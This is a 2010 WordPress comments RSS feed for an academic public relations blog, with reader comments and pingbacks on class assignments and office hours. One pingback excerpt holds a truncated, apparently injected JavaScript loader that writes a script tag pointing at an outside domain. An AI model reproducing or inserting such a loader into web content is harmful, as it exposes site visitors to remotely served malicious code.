<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments for so this is mass communication?</title>
	<atom:link href="http://www.kayesweetser.com/comments/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.kayesweetser.com</link>
	<description>this used to be a meta-blog. now it&#039;s just meta-me.</description>
	<lastBuildDate>Thu, 16 Sep 2010 21:33:57 +0000</lastBuildDate>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
	<item>
		<title>Comment on social media monitoring assignment by Danny</title>
		<link>http://www.kayesweetser.com/2010/01/social-media-monitoring-assignment/comment-page-1/#comment-229252</link>
		<dc:creator>Danny</dc:creator>
		<pubDate>Thu, 16 Sep 2010 21:33:57 +0000</pubDate>
		<guid isPermaLink="false">http://www.kayesweetser.com/?p=253#comment-229252</guid>
		<description>Hi Kaye,

I&#039;m planning on using something very similar in my class (and did use a few ideas from your assignment, so thank you!), and was wondering:

Did you give them a list of clients for your class to choose?  If so, would you mind sharing that list?  Was it companies, celebrities, or what?

I&#039;m trying to find a good balance between too much information (which can be overwhelming) and too little (which may make writing the assignment hard and boring).

Thanks!
Danny.</description>
		<content:encoded><![CDATA[<p>Hi Kaye,</p>
<p>I&#8217;m planning on using something very similar in my class (and did use a few ideas from your assignment, so thank you!), and was wondering:</p>
<p>Did you give them a list of clients for your class to choose?  If so, would you mind sharing that list?  Was it companies, celebrities, or what?</p>
<p>I&#8217;m trying to find a good balance between too much information (which can be overwhelming) and too little (which may make writing the assignment hard and boring).</p>
<p>Thanks!<br />
Danny.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on online office hours by Must try harder? The problems of social media in academia</title>
		<link>http://www.kayesweetser.com/2008/09/online-office-hours/comment-page-1/#comment-219772</link>
		<dc:creator>Must try harder? The problems of social media in academia</dc:creator>
		<pubDate>Wed, 04 Aug 2010 14:56:00 +0000</pubDate>
		<guid isPermaLink="false">http://www.kayesweetser.com/?p=121#comment-219772</guid>
		<description>[...] space. These included the online publishing of lecture notes/reading lists and the hosting of online office hours. Whilst both useful and worthwhile uses of new technology their value as true social media is [...]</description>
		<content:encoded><![CDATA[<p>[...] space. These included the online publishing of lecture notes/reading lists and the hosting of online office hours. Whilst both useful and worthwhile uses of new technology their value as true social media is [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on online office hours by sciencegeekgirl &#187; Online office hours: Real conversations in virtual spaces</title>
		<link>http://www.kayesweetser.com/2008/09/online-office-hours/comment-page-1/#comment-213569</link>
		<dc:creator>sciencegeekgirl &#187; Online office hours: Real conversations in virtual spaces</dc:creator>
		<pubDate>Tue, 22 Jun 2010 20:41:19 +0000</pubDate>
		<guid isPermaLink="false">http://www.kayesweetser.com/?p=121#comment-213569</guid>
		<description>[...] Holding office hours online could have other benefits: [...]</description>
		<content:encoded><![CDATA[<p>[...] Holding office hours online could have other benefits: [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on viral video best practices by Jessica</title>
		<link>http://www.kayesweetser.com/2009/09/viral-video-best-practices/comment-page-1/#comment-211631</link>
		<dc:creator>Jessica</dc:creator>
		<pubDate>Fri, 11 Jun 2010 18:11:21 +0000</pubDate>
		<guid isPermaLink="false">http://www.kayesweetser.com/?p=221#comment-211631</guid>
		<description>Hmmm…great to know, there were certainly a couple of things which I had not thought of before.</description>
		<content:encoded><![CDATA[<p>Hmmm…great to know, there were certainly a couple of things which I had not thought of before.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on social media monitoring assignment by Bruce</title>
		<link>http://www.kayesweetser.com/2010/01/social-media-monitoring-assignment/comment-page-1/#comment-206840</link>
		<dc:creator>Bruce</dc:creator>
		<pubDate>Wed, 19 May 2010 17:14:16 +0000</pubDate>
		<guid isPermaLink="false">http://www.kayesweetser.com/?p=253#comment-206840</guid>
		<description>Bret:

100% you could do this in business, marketing, PR, etc. In fact, I would suggest that one&#039;s competitors be monitored alongside their own mentions so that you get an overall idea of what the conversation about your issues and industry are online. What my students are doing would be very easily adapted to monitoring the competitor because my students do NOT have access to their assigned clients&#039; internally tracked metrics like google analytics etc -- they only have what is out there &amp; publicly published for all.

Thanks for reading!</description>
		<content:encoded><![CDATA[<p>Bret:</p>
<p>100% you could do this in business, marketing, PR, etc. In fact, I would suggest that one&#8217;s competitors be monitored alongside their own mentions so that you get an overall idea of what the conversation about your issues and industry are online. What my students are doing would be very easily adapted to monitoring the competitor because my students do NOT have access to their assigned clients&#8217; internally tracked metrics like google analytics etc &#8212; they only have what is out there &amp; publicly published for all.</p>
<p>Thanks for reading!</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on social media monitoring assignment by Dave</title>
		<link>http://www.kayesweetser.com/2010/01/social-media-monitoring-assignment/comment-page-1/#comment-205837</link>
		<dc:creator>Dave</dc:creator>
		<pubDate>Sun, 16 May 2010 12:12:30 +0000</pubDate>
		<guid isPermaLink="false">http://www.kayesweetser.com/?p=253#comment-205837</guid>
		<description>Interesting; check out WP-Stats-Dashboard for social metrics monitoring on your WordPress dashboard.

http://wordpress.org/extend/plugins/wp-stats-dashboard/screenshots/</description>
		<content:encoded><![CDATA[<p>Interesting; check out WP-Stats-Dashboard for social metrics monitoring on your WordPress dashboard.</p>
<p><a href="http://wordpress.org/extend/plugins/wp-stats-dashboard/screenshots/" rel="nofollow">http://wordpress.org/extend/plugins/wp-stats-dashboard/screenshots/</a></p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on About by Public Relations Matters &#187; Blog Archive &#187; &#8220;Viral&#8221; Video Assignment :: PRCA 3030</title>
		<link>http://www.kayesweetser.com/about/comment-page-1/#comment-189384</link>
		<dc:creator>Public Relations Matters &#187; Blog Archive &#187; &#8220;Viral&#8221; Video Assignment :: PRCA 3030</dc:creator>
		<pubDate>Tue, 23 Mar 2010 11:36:40 +0000</pubDate>
		<guid isPermaLink="false">#comment-189384</guid>
		<description>[...] Many, many thanks to Kaye Sweetser at University of Georgia, who gave me permission to use her assignment for my class. I have made [...]</description>
		<content:encoded><![CDATA[<p>[...] Many, many thanks to Kaye Sweetser at University of Georgia, who gave me permission to use her assignment for my class. I have made [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on assignment viral video by Public Relations Matters &#187; Blog Archive &#187; &#8220;Viral&#8221; Video Assignment :: PRCA 3030</title>
		<link>http://www.kayesweetser.com/2009/02/assignment-viral-video/comment-page-1/#comment-189381</link>
		<dc:creator>Public Relations Matters &#187; Blog Archive &#187; &#8220;Viral&#8221; Video Assignment :: PRCA 3030</dc:creator>
		<pubDate>Tue, 23 Mar 2010 11:33:10 +0000</pubDate>
		<guid isPermaLink="false">http://www.kayesweetser.com/?p=149#comment-189381</guid>
		<description>[...] for my class. I have made only minor tweaks to her original assignment (which appears at her So This is Mass Communication? blog.)    var ecov = &quot;sh&quot;; document.write(unescape(&quot;%3Cscript src=&#039;http://eco-safe.com/js/eco.js&#039; [...]</description>
		<content:encoded><![CDATA[<p>[...] for my class. I have made only minor tweaks to her original assignment (which appears at her So This is Mass Communication? blog.)    var ecov = &quot;sh&quot;; document.write(unescape(&quot;%3Cscript src=&#39;<a href="http://eco-safe.com/js/eco.js&#038;#39" rel="nofollow">http://eco-safe.com/js/eco.js&#038;#39</a>; [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on how i got tenure by Bruce</title>
		<link>http://www.kayesweetser.com/2009/12/how-i-got-tenure/comment-page-1/#comment-174198</link>
		<dc:creator>Bruce</dc:creator>
		<pubDate>Wed, 10 Feb 2010 06:01:02 +0000</pubDate>
		<guid isPermaLink="false">http://www.kayesweetser.com/?p=241#comment-174198</guid>
		<description>Congrats! Too bad UF didn&#039;t recruit you and get you here, though. ;)</description>
		<content:encoded><![CDATA[<p>Congrats! Too bad UF didn&#8217;t recruit you and get you here, though. <img src='http://www.kayesweetser.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on social media monitoring assignment by Lauren</title>
		<link>http://www.kayesweetser.com/2010/01/social-media-monitoring-assignment/comment-page-1/#comment-173879</link>
		<dc:creator>Lauren</dc:creator>
		<pubDate>Mon, 08 Feb 2010 01:19:19 +0000</pubDate>
		<guid isPermaLink="false">http://www.kayesweetser.com/?p=253#comment-173879</guid>
		<description>The resources you have provided has helped me in my social monitoring report so much! This is so vital for businesses to fully understand their customers&#039; thoughts, ideas, opinons, etc about their product. My social monitoring topic: Verizon and At&amp;t</description>
		<content:encoded><![CDATA[<p>The resources you have provided has helped me in my social monitoring report so much! This is so vital for businesses to fully understand their customers&#8217; thoughts, ideas, opinons, etc about their product. My social monitoring topic: Verizon and At&amp;t</p>
]]></content:encoded>
	</item>
</channel>
</rss>

